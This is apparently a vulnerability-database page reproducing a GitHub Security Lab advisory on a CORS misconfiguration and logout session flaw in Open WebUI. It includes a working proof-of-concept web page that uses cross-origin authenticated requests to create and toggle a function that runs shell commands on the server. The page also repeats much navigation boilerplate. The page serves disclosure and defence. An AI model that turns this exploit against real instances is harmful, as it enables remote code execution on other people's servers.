8.3

CVSS Score

3.1

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

GHSA-6xcp-7mpr-m7wm

GHSA-6xcp-7mpr-m7wm: Open WebUI has a CORS misconfiguration and session validation issue

GitHub Security Lab (GHSL) Vulnerability Report, open-webui: `GHSL-2024-174`, `GHSL-2024-175`

The GitHub Security Lab team has identified potential security vulnerabilities in open-webui.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-174 or GHSL-2024-175 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

Due to a CORS misconfiguration and session validation issue, an attacker may be able to perform a 1 click attack against browsers with admin access to openwebui, resulting in remote code execution in the openwebui instance. The openwebui application runs as root in Docker container's default setup, which allows for complete compromise of the container.

Project

open-webui

Tested Version

v0.3.10

Details

Issue 1: CORS misconfiguration on multiple routers (`GHSL-2024-174`)

CORS misconfigurations exist on multiple routers of open-webui which results in allowing arbitrary websites to make authenticated cross site requests to openwebui. Accounts with access to the /api/v1/functions endpoint (admins) can execute arbitrary code on the openwebui instance.

Miggo Vulnerability Database

→

GHSA-6xcp-7mpr-m7wm

GHSA-6xcp-7mpr-m7wm:

8.3

CVSS Score

3.1

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
open-webui	pip	< 0.3.33	0.3.33

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The analysis identified two distinct but related vulnerabilities, GHSL-2024-174 (CORS misconfiguration) and GHSL-2024-175 (Session invalidation failure). The root cause of the remote code execution vulnerability is the permissive CORS policy (allow_origins=["*"]) set in multiple main.py files across the application. This allowed any website to send authenticated requests to the API.

The proof-of-concept provided in the vulnerability report demonstrates a clear exploitation path: a malicious website first makes a cross-origin request to the create_function endpoint to inject Python code, and then to the toggle_function_by_id endpoint to execute that code. These two functions are therefore the primary runtime indicators of exploitation.

The second vulnerability is in the logout function, which failed to invalidate session cookies. This lowered the bar for exploitation, as an attacker could target a user who had previously logged in, even if they weren't currently active, making the logout function itself a security risk. The patch analysis confirmed these findings by showing the CORS policy being restricted and session cookies being deleted upon logout.

Vulnerable functions

backend.apps.webui.routers.auth.logout

backend/apps/webui/routers/auth.py

This function was vulnerable because it did not invalidate the user's session on logout. An attacker could reuse an old session cookie to maintain access. This flaw, combined with the CORS misconfiguration, allowed attacks against users who were not actively logged in.

backend.apps.webui.routers.functions.create_function

backend/apps/webui/routers/functions.py

Due to a server-wide CORS misconfiguration (`allow_origins=['*']`), this function, which creates new 'functions' (code snippets), could be triggered by a malicious website. An attacker could use this to create a function containing arbitrary Python code, leading to Remote Code Execution. This function would appear in a profiler during the first stage of the exploit.

backend.apps.webui.routers.functions.toggle_function_by_id

backend/apps/webui/routers/functions.py

After a malicious function is created via `create_function`, this endpoint is called by the attacker's website to enable and execute it. The CORS misconfiguration allows this cross-origin request. Triggering this function causes the malicious code in the created function's `__init__` method to run on the server, completing the RCE attack. This function would appear in a profiler during the second stage of the exploit.

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

<body> <p>Click here to login.</p> <div id="response"></div> <script> //Firefox cross site cookie request bypass const url = 'http://localhost:3000/static/favicon.png'; document.addEventListener("DOMContentLoaded", () => { document.onclick = () => { open(url); filter_id = "okok" //Create a function/filter to write code fetch('http://localhost:3000/api/v1/functions/create', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ "id": filter_id, "name": "test2", "meta": {"description": "test2"}, "content": "from pydantic import BaseModel, Field\nfrom typing import Optional\n\n\nclass Filter:\n class Valves(BaseModel):\n priority: int = Field(\n default=0, description=\"Priority level for the filter operations.\"\n )\n max_turns: int = Field(\n default=8, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n class UserValves(BaseModel):\n max_turns: int = Field(\n default=4, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n def __init__(self):\n # Indicates custom file handling logic. This flag helps disengage default routines in favor of custom\n # implementations, informing the WebUI to defer file-related operations to designated methods within this class.\n # Alternatively, you can remove the files directly from the body in from the inlet hook\n # self.file_handler = True\n\n # Initialize 'valves' with specific configurations. Using 'Valves' instance helps encapsulate settings,\n # which ensures settings are managed cohesively and not confused with operational flags like 'file_handler'.\n self.valves = self.Valves()\n f = open(\"/tmp/whoami.txt\", \"w\")\n import subprocess\n\n output = subprocess.getoutput(\"whoami\")\n f.write(output)\n f.close()\n pass\n\n def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n\n def outlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n" }), credentials: 'include' // This will send cookies from the origin }) .then(response => response.json()) .then(data => console.log(data)) .catch((error) => console.error('Error:', error)); //Toggle the filter to execute code fetch(`http://localhost:3000/api/v1/functions/id/${filter_id}/toggle`, { method: 'POST', credentials: 'include' // This will send cookies from the origin }) .then(response => response.json()) .then(data => console.log(data)) .catch((error) => console.error('Error:', error)); } }); </script> </body>

8.3

-

Basic Information

Basic Information

Concerned about an active attack path?

GHSA-6xcp-7mpr-m7wm: Open WebUI has a CORS misconfiguration and session validation issue

GitHub Security Lab (GHSL) Vulnerability Report, open-webui: GHSL-2024-174, GHSL-2024-175

Summary

Project

Tested Version

Details

Issue 1: CORS misconfiguration on multiple routers (GHSL-2024-174)

GHSA-6xcp-7mpr-m7wm:

8.3

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability IntelligenceMiggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

8.3

8.3

Technical Details

GHSA-6xcp-7mpr-m7wm: Open WebUI has a CORS misconfiguration and session validation issue

GitHub Security Lab (GHSL) Vulnerability Report, open-webui: GHSL-2024-174, GHSL-2024-175

Summary

Project

Tested Version

Details

Issue 1: CORS misconfiguration on multiple routers (GHSL-2024-174)

Basic Information

Basic Information

Impact

Remediation

Proof of Concept

Issue 2: Failure to Invalidate Session on Logout (GHSL-2024-175)

Impact

Remediation

Resources

GitHub Security Advisories

Credit

Contact

Disclosure Policy

GitHub Security Lab (GHSL) Vulnerability Report, open-webui: `GHSL-2024-174`, `GHSL-2024-175`

Issue 1: CORS misconfiguration on multiple routers (`GHSL-2024-174`)

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

GitHub Security Lab (GHSL) Vulnerability Report, open-webui: `GHSL-2024-174`, `GHSL-2024-175`

Issue 1: CORS misconfiguration on multiple routers (`GHSL-2024-174`)

Issue 2: Failure to Invalidate Session on Logout (`GHSL-2024-175`)